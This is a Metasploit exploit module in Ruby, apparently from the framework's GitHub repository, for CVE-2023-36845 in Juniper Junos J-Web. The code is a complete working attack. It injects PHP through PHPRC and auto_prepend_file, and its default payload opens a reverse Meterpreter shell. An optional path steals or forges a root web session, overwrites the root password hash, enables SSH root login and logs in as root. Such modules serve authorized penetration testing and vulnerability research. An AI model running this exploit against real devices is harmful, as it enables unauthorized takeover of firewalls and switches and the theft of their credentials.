-
Notifications
You must be signed in to change notification settings - Fork 13.8k
/
junos_phprc_auto_prepend_file.rb
392 lines (339 loc) · 16.2 KB
/
junos_phprc_auto_prepend_file.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'unix_crypt'
require 'net/ssh'
require 'net/ssh/command_stream'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::SSH
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Junos OS PHPRC Environment Variable Manipulation RCE',
'Description' => %q{
This module exploits a PHP environment variable manipulation vulnerability affecting Juniper SRX firewalls
and EX switches. The affected Juniper devices run FreeBSD and every FreeBSD process can access their stdin
by opening /dev/fd/0. The exploit also makes use of two useful PHP features. The first being
'auto_prepend_file' which causes the provided file to be added using the 'require' function. The second PHP
function is 'allow_url_include' which allows the use of URL-aware fopen wrappers. By enabling
allow_url_include, the exploit can use any protocol wrapper with auto_prepend_file. The module then uses
data:// to provide a file inline which includes the base64 encoded PHP payload.
By default this exploit returns a session confined to a FreeBSD jail with limited functionality. There is a
datastore option 'JAIL_BREAK', that when set to true, will steal the necessary tokens from a user authenticated
to the J-Web application, in order to overwrite the root password hash. If there is no user authenticated
to the J-Web application this exploit will try to create one. If unsuccesfull this method will not work.
The module then authenticates with the new root password over SSH and then rewrites the original root password
hash to /etc/master.passwd. There is an option to set allow ssh root login, if disabled.
},
'Author' => [
'Jacob Baines', # Analysis
'Ron Bowes', # Jail break technique + Target setup instructions
'jheysel-r7', # Msf module
'Fabian Hafner' # session creation, old version switch, allow ssh root login, working timeouts
],
'References' => [
[ 'URL', 'https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/'],
[ 'URL', 'https://vulncheck.com/blog/juniper-cve-2023-36845'],
[ 'URL', 'https://supportportal.juniper.net/s/article/2023-08-Out-of-Cycle-Security-Bulletin-Junos-OS-SRX-Series-and-EX-Series-Multiple-vulnerabilities-in-J-Web-can-be-combined-to-allow-a-preAuth-Remote-Code-Execution?language=en_US'],
[ 'CVE', '2023-36845']
],
'License' => MSF_LICENSE,
'Platform' => %w[php unix],
'Privileged' => false,
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'PHP In-Memory',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'RPORT' => 80
}
},
],
[
'Interactive SSH with jail break',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Type' => :nix_stream,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/interact',
'WfsDelay' => 30,
'HttpClientTimeout' => 60 # setting the timeout to 60 seconds for old devices
},
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-08-17',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ CONFIG_CHANGES ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options([
OptString.new('TMP_ROOT_PASSWORD', [ true, 'If target is set to "Interactive SSH with jail break", the root user\'s password will be temporarily changed to this password', rand_text_alphanumeric(24)]),
OptString.new('SESSION_DIRECTORY', [ true, 'For old Junos versions the session files are stored in /tmp', '/var/sess']),
OptBool.new('OLD_HASH_FORMAT', [ true, 'For old Junos versions the password hash format is md5', false]),
OptBool.new('SET_ALLOW_ROOT_LOGIN', [ true, 'Try to set ssh root login to allow before estabilishing ssh session', false]),
OptPort.new('SSH_PORT', [true, 'SSH port of Junos Target', 22]),
OptInt.new('SSH_TIMEOUT', [ true, 'The maximum acceptable amount of time to negotiate a SSH session', 30])
])
end
def check
non_existent_file = rand_text_alphanumeric(8..16)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'ctype' => 'application/x-www-form-urlencoded',
'data' => "LD_PRELOAD=/tmp/#{non_existent_file}"
)
return CheckCode::Appears('Environment variable manipulation succeeded indicating this target is vulnerable.') if res && res.body.include?("Cannot open \"/tmp/#{non_existent_file}\"")
CheckCode::Safe('Environment variable manipulation failed indicating this target is not vulnerable.')
end
def send_php_exploit(phprc, file_contents)
post_data = "allow_url_include=1\n"
post_data << "auto_prepend_file=\"data://text/plain;base64,#{Rex::Text.encode_base64(file_contents)}\""
send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'data' => post_data,
'ctype' => 'application/x-www-form-urlencoded',
'vars_get' => {
'PHPRC' => phprc
}
)
end
def get_php_session_id
get_var_sess = "<?php print_r(scandir('#{datastore['SESSION_DIRECTORY']}'));?>"
res = send_php_exploit('/dev/fd/0', get_var_sess)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200
php_session_id = res.body.scan(/\[\d+\] => sess_(.*)/).flatten[0]
if php_session_id.nil?
print_status("No PHPSESSID found in #{datastore['SESSION_DIRECTORY']}. Trying to create a session.")
php_session_id = create_php_session
end
print_status("PHPSESSID: #{php_session_id}.")
php_session_id
end
def create_php_session
create_sess = "<?php
require('main.inc.php');
global $loginPage;
global $enterlsysname;
$loginPage = true;
$enterlsysname = null;
$user = new user(false);
require_once('languages/' . $c['language'] . '/language.php');
// Create session
session_save_path('#{datastore['SESSION_DIRECTORY']}');
session_start();
$user->session->session_open = true;
$user->set_language($c['language']);
// Snag the hostname & model from the environment
$user->set_var('device-hostname', $_SERVER['SERVER_NAME']);
$user->set_var('device-model', $_SERVER['JNX_PRODUCT_MODEL']);
$user->set_var(TEMPLATE_USERNAME, 'root');
$user->set_var(USERNAME, 'root');
$user->set_var(LSYSNAME, '');
$user->set_var ('csrf_token', '#{Faker::Alphanumeric.alphanumeric}');
// Set up default variables for user
$user->set_var(DEBUG_ASP, 'sp-0/0/0');
$user->set_var(DEBUG_WIZARD_COMMIT, true);
// Set up XNM username and logged user name
$user->xnm->set_user_name('root');
$user->xnm->set_logged_user_name('root');
// Call J-Web authentication RPC so MGD knows about this session
$output = $user->xnm->query('request-web-management-login',
array(
'user' => 'root',
'session-id' => session_id(),
'from' => '#{Faker::Internet.ip_v4_address}',
'cache' => CONFIG_CACHE_DISABLE,
'template-user' => $template_username
), true);
$output = $user->transform->strip_ns($output);
$user->session->set_authenticated(2919675462);
$imageName = $c['version']['release'];
$user->set_var('junos-version',$imageName);
?>"
send_php_exploit('/dev/fd/0', create_sess)
get_var_sess = "<?php print_r(scandir('#{datastore['SESSION_DIRECTORY']}'));?>"
res = send_php_exploit('/dev/fd/0', get_var_sess)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200
php_session_id = res.body.scan(/\[\d+\] => sess_(.*)/).flatten[0]
fail_with(Failure::UnexpectedReply, 'Failed to create a user session.') unless php_session_id
print_status("Session created: #{php_session_id}.")
php_session_id
end
def get_csrf_token(php_session_id)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'diagnose'),
'method' => 'GET',
'headers' =>
{
'Cookie' => "PHPSESSID=#{php_session_id}; SECUREPHPSESSID=#{php_session_id}"
},
'vars_get' => {
'm[]' => 'pinghost'
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200
csrf_token = res.get_html_document.xpath("//input[@type='hidden' and @name='csrf_token']/@value").text
fail_with(Failure::UnexpectedReply, 'Unable to retrieve a csrf token') unless csrf_token
print_status("Found csrf token: #{csrf_token}.")
csrf_token
end
def get_encrypted_root_password(php_session_id, csrf_token)
post_data = "rs=get_cli_data&rsargs[]=getQuery&csrf_token=#{csrf_token}&key=1"
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'jsdm', 'ajax', 'cli-editor.php'),
'method' => 'POST',
'data' => post_data,
'ctype' => 'application/x-www-form-urlencoded',
'headers' =>
{
'Cookie' => "PHPSESSID=#{php_session_id}; SECUREPHPSESSID=#{php_session_id}"
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200
# The body of the above request is formatted like so:
## Last changed: 2023-09-25 13:00:49 UTC
# version 20200609.165031.6_builder.r1115480;
# system {
# host-name JUNOS;
# root-authentication {
# encrypted-password "$6$yMwZY.o0$WwCZgzN7FTDfhSvkum0y9ry/nu4yWOQcgW.JJz0vJapf5P6XHoCsigsz94oEKSPO5efKFP/JhhN3/FCKvB0Hp.";
# }
# login {
# user admin {
# uid 2000;
# class super-user;
# authentication {
# encrypted-password "$6$65gs/MrK$DNpVWfIocQ.rG/ThjZXjRI/yha/lf1UImNKivq.T1K4yLW60PWFrcQakoP6mwHT9Cr3xQZZfomKSTRXWl2aWj1";
# }
# }
fail_with(Failure::UnexpectedReply, 'ssh root-login is not permitted on the device thus the module will not be able to establish a session or restore the original root password.') unless res.body.scan(/"ssh\s+\{\n\s+root-login\s+allow;"/)
# Multiple passwords are displayed in the output, ensure we grab the encrypted-password that belongs to the
# root-authentication configuration with the following regex:
og_encrypted_root_pass = res.body.scan(/root-authentication\s+\{\n\s+encrypted-password\s+"(.+)"/).flatten[0]
fail_with(Failure::UnexpectedReply, 'Unable to retrieve the encrypted root password from the response') unless og_encrypted_root_pass
print_status("Original encrypted root password: #{og_encrypted_root_pass}")
og_encrypted_root_pass
end
def set_root_password(php_session_id, csrf_token, password_hash)
post_data = "¤t-path=/system/root-authentication/&csrf_token=#{csrf_token}&key=1&JTK-FIELD-encrypted-password=#{password_hash}"
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'editor', 'edit', 'configuration', 'system', 'root-authentication'),
'method' => 'POST',
'data' => post_data,
'ctype' => 'application/x-www-form-urlencoded',
'headers' =>
{
'Cookie' => "PHPSESSID=#{php_session_id}; SECUREPHPSESSID=#{php_session_id}"
},
'vars_get' => {
'action' => 'commit'
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200
unless res.get_html_document.xpath("//body/div[@class='commit-status' and @id='systest-commit-status-div']").text == 'Success'
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})")
end
print_status("Successfully changed the root user's password ")
end
def set_ssh_root_login(php_session_id, csrf_token)
post_data = "¤t-path=/system/services/ssh/&csrf_token=#{csrf_token}&key=1&JTK-FIELD-root-login=allow"
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'editor', 'edit', 'configuration', 'system', 'services', 'ssh'),
'method' => 'POST',
'data' => post_data,
'ctype' => 'application/x-www-form-urlencoded',
'headers' =>
{
'Cookie' => "PHPSESSID=#{php_session_id}; SECUREPHPSESSID=#{php_session_id}"
},
'vars_get' => {
'action' => 'commit'
}
)
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200
unless res.get_html_document.xpath("//body/div[@class='commit-status' and @id='systest-commit-status-div']").text == 'Success'
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})")
end
print_status('Successfully set ssh root login to allow')
end
def ssh_login
ssh_opts = ssh_client_defaults.merge({
port: datastore['SSH_PORT'],
auth_methods: ['password'],
password: datastore['TMP_ROOT_PASSWORD']
})
begin
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(rhost, 'root', ssh_opts)
end
rescue Net::SSH::Exception => e
vprint_error("#{e.class}: #{e.message}")
return nil
end
if ssh
Net::SSH::CommandStream.new(ssh)
end
end
def exploit
case target['Type']
when :nix_stream
print_status("Attempting to break out of FreeBSD jail by changing the root user's password, establishing an SSH session and then rewriting the original root user's password hash to /etc/master.passwd.")
print_warning("This requires a user is authenticated to the J-Web application in order to steal a session token or successfully create one, also 'ssh root-login' has to be set to 'allow' on the device. The option 'SET_ALLOW_ROOT_LOGIN' can be set to true to attempt to set this option.")
php_session_id = get_php_session_id
csrf_token = get_csrf_token(php_session_id)
@og_encrypted_root_pass = get_encrypted_root_password(php_session_id, csrf_token)
if datastore['OLD_HASH_FORMAT']
tmp_password_hash = UnixCrypt::MD5.build(datastore['TMP_ROOT_PASSWORD'])
else
tmp_password_hash = UnixCrypt::SHA512.build(datastore['TMP_ROOT_PASSWORD'])
end
print_status "Temporary root password Hash: #{tmp_password_hash}"
print_status "Setting root password to #{datastore['TMP_ROOT_PASSWORD']} - this can take some time!"
set_root_password(php_session_id, csrf_token, tmp_password_hash)
if datastore['SET_ALLOW_ROOT_LOGIN']
set_ssh_root_login(php_session_id, csrf_token)
end
if (ssh = ssh_login)
print_good('Logged in as root')
handler(ssh.lsock)
end
print_status "Setting root password back to original hash. This can take some time! If no session was created try 'SET_ALLOW_ROOT_LOGIN'."
set_root_password(php_session_id, csrf_token, @og_encrypted_root_pass)
when :php_memory
send_php_exploit('/dev/fd/0', payload.encoded)
else
fail_with(Failure::BadConfig, 'Please select a valid target.')
end
end
end